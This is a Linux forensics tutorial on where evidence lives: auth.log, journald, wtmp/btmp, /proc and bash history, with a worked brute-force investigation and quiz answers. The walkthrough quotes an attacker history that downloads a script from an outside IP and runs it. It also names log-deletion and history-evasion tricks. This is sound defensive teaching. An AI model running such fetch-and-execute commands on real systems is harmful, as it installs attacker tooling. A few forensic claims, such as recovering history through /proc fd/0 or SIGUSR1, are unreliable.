Linux Log Locations — Where Evidence Lives on Linux Systems

Linux forensics trips up Windows-centric responders because the evidence model is entirely different — no registry, no Prefetch, no Volume Shadow Copies. Evidence is distributed across text files, binary logs, virtual filesystems, and shell history scattered across user home directories.

Core Log Locations by Distribution

Debian/Ubuntu:                    RHEL/CentOS/Rocky/AlmaLinux:
─────────────────────────────     ─────────────────────────────
/var/log/auth.log                 /var/log/secure
/var/log/syslog                   /var/log/messages
/var/log/kern.log                 /var/log/kern.log (same)
/var/log/dpkg.log                 /var/log/dnf.history.sqlite
/var/log/apt/history.log          (package install history)

Both distro families:
─────────────────────────────────────────────────────────────
/var/log/journal/          (journald — persistent binary logs)
/run/log/journal/          (journald — volatile, lost on reboot)
/var/log/wtmp              (binary — all logins/logouts)
/var/log/btmp              (binary — failed login attempts)
/var/log/lastlog           (binary — last login per account)
/var/log/cron              (cron job execution)
/var/log/maillog           (mail server — SMTP, may show exfil)

Authentication Events — auth.log Format

# auth.log format: timestamp hostname process[PID]: message
# Example entries:

# Successful SSH login
Sep  2 18:30:12 web-01 sshd[8844]: Accepted publickey for ubuntu from 185.220.101.9 port 54231 ssh2

# Failed password attempt
Sep  2 18:29:58 web-01 sshd[8841]: Failed password for invalid user admin from 185.220.101.9 port 54228 ssh2

# Sudo command execution (critical for IR — shows what attacker ran as root)
Sep  2 18:31:45 web-01 sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/bash

# su to root
Sep  2 18:32:00 web-01 su: pam_unix(su:session): session opened for user root by ubuntu(uid=1000)

# Key IR queries:
grep "Accepted" /var/log/auth.log          # All successful SSH logins
grep "Failed password" /var/log/auth.log   # All failed SSH attempts
grep "sudo" /var/log/auth.log              # All sudo usage
grep "185.220.101.9" /var/log/auth.log     # All events from attacker IP

journald — Structured Logging

# journald stores binary logs — query with journalctl

# SSH events for a specific date range
journalctl -u ssh --since="2024-09-02 18:00:00" --until="2024-09-02 20:00:00"

# All events from a specific process (by PID)
journalctl _PID=8844

# Authentication failures across all services
journalctl -u ssh -u sudo -p 4 --since="2024-09-01"
# -p 4 = priority WARNING and above

# Export to JSON for SIEM ingestion
journalctl --since="2024-09-01" --output=json-pretty > /forensic-share/journal_export.json

# Check if persistent journal is configured:
ls /var/log/journal/
# If directory exists and has files → persistent journal
# If empty or missing → volatile only (logs lost on reboot)

# Show boot history (how many times the system rebooted)
journalctl --list-boots

# wtmp: all logins and logouts
last -f /var/log/wtmp
# Output: username, terminal, source IP, login/logout time

# Example output:
ubuntu   pts/0        185.220.101.9    Sun Sep  2 18:30   still logged in
root     pts/1        127.0.0.1        Sun Sep  2 18:31 - 18:45  (00:14)

# btmp: failed login attempts — reveals brute force before successful login
lastb -f /var/log/btmp | head -50

# lastlog: most recent login per account
lastlog
# Shows accounts that "Never logged in" — look for service accounts suddenly appearing
# Shows accounts with logins from unexpected source IPs

# Preserve binary logs (they are binary — cannot be read after system wipe)
cp /var/log/wtmp /forensic-share/wtmp_backup
cp /var/log/btmp /forensic-share/btmp_backup
cp /var/log/lastlog /forensic-share/lastlog_backup

/proc/ — Volatile System State

# For each running process (PID = process ID):
ls -la /proc/1234/exe          # What binary is running (even if deleted from disk)
cat /proc/1234/cmdline         # Full command line (null-separated)
cat /proc/1234/maps            # Memory mappings — look for rwx (RWX) regions
ls -la /proc/1234/fd/          # Open files and sockets
cat /proc/1234/net/tcp         # Network connections in this process namespace

# Recover a running malware binary that was deleted from disk:
# If /proc/1234/exe → /tmp/malware (deleted) — the file still exists in /proc/
cp /proc/1234/exe /forensic-share/recovered_malware.bin
sha256sum /forensic-share/recovered_malware.bin

# Find all processes with deleted executables (common malware technique):
ls -la /proc/*/exe 2>/dev/null | grep "(deleted)"

# Read all command lines (build process list):
for pid in /proc/[0-9]*/; do
  pid_num=$(basename $pid)
  cmdline=$(cat /proc/$pid_num/cmdline 2>/dev/null | tr '\0' ' ')
  echo "$pid_num: $cmdline"
done

bash_history — Shell Command History

# Location: ~/.bash_history for each user
# Also: /root/.bash_history for root

# Check history for all users
for user_home in /home/*/ /root/; do
  echo "=== $user_home ==="
  cat "$user_home.bash_history" 2>/dev/null
done

# Check if timestamps are enabled:
grep HISTTIMEFORMAT /etc/profile /etc/bash.bashrc ~/.bashrc /root/.bashrc 2>/dev/null
# Format string like '%F %T ' means timestamps are recorded in history

# Check for history evasion in .bashrc / .bash_profile:
grep -E 'HISTFILE|HISTSIZE|HISTFILESIZE|HISTCONTROL' /etc/profile /home/*/.bashrc /root/.bashrc 2>/dev/null

# In-memory history (still running session):
# From the compromised user's session: history
# As root, you cannot directly read another user's in-memory history
# But /proc/[bash_PID]/fd/0 may contain the session's history buffer

# Package manager logs — show what was installed
cat /var/log/dpkg.log | grep "install " | tail -50     # Debian/Ubuntu
cat /var/log/dnf.history.sqlite                         # RHEL (binary — use dnf history)
dnf history list                                         # RHEL package install history

Worked Example

SSH brute-force → root escalation reconstruction from logs

Context: Cloud server (Ubuntu 22.04) shows anomalous outbound traffic to 45.33.32.156 on port 4444.

Step 1 — Check auth.log for initial access

grep -E "Accepted|Failed|invalid user" /var/log/auth.log | \
  grep "185.220.101.9" | tail -30

Sep  2 18:28:11 web-01 sshd[8800]: Failed password for root from 185.220.101.9 port 54100
Sep  2 18:28:14 web-01 sshd[8802]: Failed password for root from 185.220.101.9 port 54103
Sep  2 18:28:17 web-01 sshd[8804]: Failed password for ubuntu from 185.220.101.9 port 54106
Sep  2 18:29:55 web-01 sshd[8841]: Accepted password for ubuntu from 185.220.101.9 port 54228 ssh2

79 failed attempts, then success on ubuntu account with password authentication.

Step 2 — Check sudo log for privilege escalation

grep "sudo" /var/log/auth.log | grep -A2 "2024-09-02 18:3"

Sep  2 18:31:45 web-01 sudo: ubuntu: TTY=pts/0; PWD=/tmp; USER=root; COMMAND=/bin/bash

Attacker ran sudo /bin/bash — escalated to root interactively.

Step 3 — Check bash history

cat /home/ubuntu/.bash_history

id
wget http://45.33.32.156/s.sh -O /tmp/s.sh
chmod +x /tmp/s.sh
/tmp/s.sh

Step 4 — Check /proc/ for running malware

ls -la /proc/*/exe 2>/dev/null | grep "(deleted)"
# /proc/9134/exe -> /tmp/beacon (deleted)

cp /proc/9134/exe /forensic-share/beacon_recovered.bin
sha256sum /forensic-share/beacon_recovered.bin

Timeline reconstructed from three log sources without a full disk image.

Retrieval Practice

An attacker ran 'unset HISTFILE' before executing their tooling on a compromised Linux server. The session is still active. What bash history evidence still exists, and where would you find it?

Reveal answer

Two sources remain: (1) The in-memory bash history buffer — bash keeps history in memory during an active session regardless of HISTFILE. If the attacker's session is still active (the bash process is running), the history can be retrieved. From a root session: cat /proc/[bash_PID]/fd/0 may contain session input. Alternatively, if the attacker's terminal is still open, another root user can send SIGUSR1 to the bash process to force it to write history, or examine /proc/[PID]/maps for the history buffer memory region. (2) Auth.log and journald — every sudo command executed after the session began is logged in auth.log with the full command text, regardless of bash history settings. The sudo log entry includes the COMMAND field with the full path and arguments. The attacker's 'unset HISTFILE' command itself may also be recorded if sudo was used to run it. Additionally: check /proc/[bash_PID]/cmdline and the process's file descriptors for any scripts that were executed.

Retrieval Practice

A Linux server's /var/log/auth.log has been deleted (rm /var/log/auth.log). The system is still running with journald configured for persistent logging. What authentication evidence is still accessible?

Reveal answer

Three sources remain: (1) journald — auth.log content is also written to the systemd journal. journalctl -u ssh retrieves all SSH events from the binary journal, which is stored separately from /var/log/auth.log. The journal is not deleted by rm /var/log/auth.log — it lives in /var/log/journal/ or /run/log/journal/. (2) wtmp and btmp — binary login databases at /var/log/wtmp and /var/log/btmp are separate from auth.log. Read with last -f /var/log/wtmp and lastb -f /var/log/btmp. These persist unless explicitly deleted by the attacker. (3) /proc/ — if the attacker's SSH session is still active, /proc/[sshd_PID]/cmdline and network connections remain visible. The attacker must have deleted auth.log after obtaining shell access, so their connection is still recorded in wtmp as 'still logged in.' Document: the deletion of auth.log is itself a forensic indicator (T1070.002) and should be recorded as evidence of attacker presence.

Core Log Locations by Distribution

Authentication Events — auth.log Format

journald — Structured Logging

wtmp, btmp, lastlog — Binary Login Databases

/proc/ — Volatile System State

bash_history — Shell Command History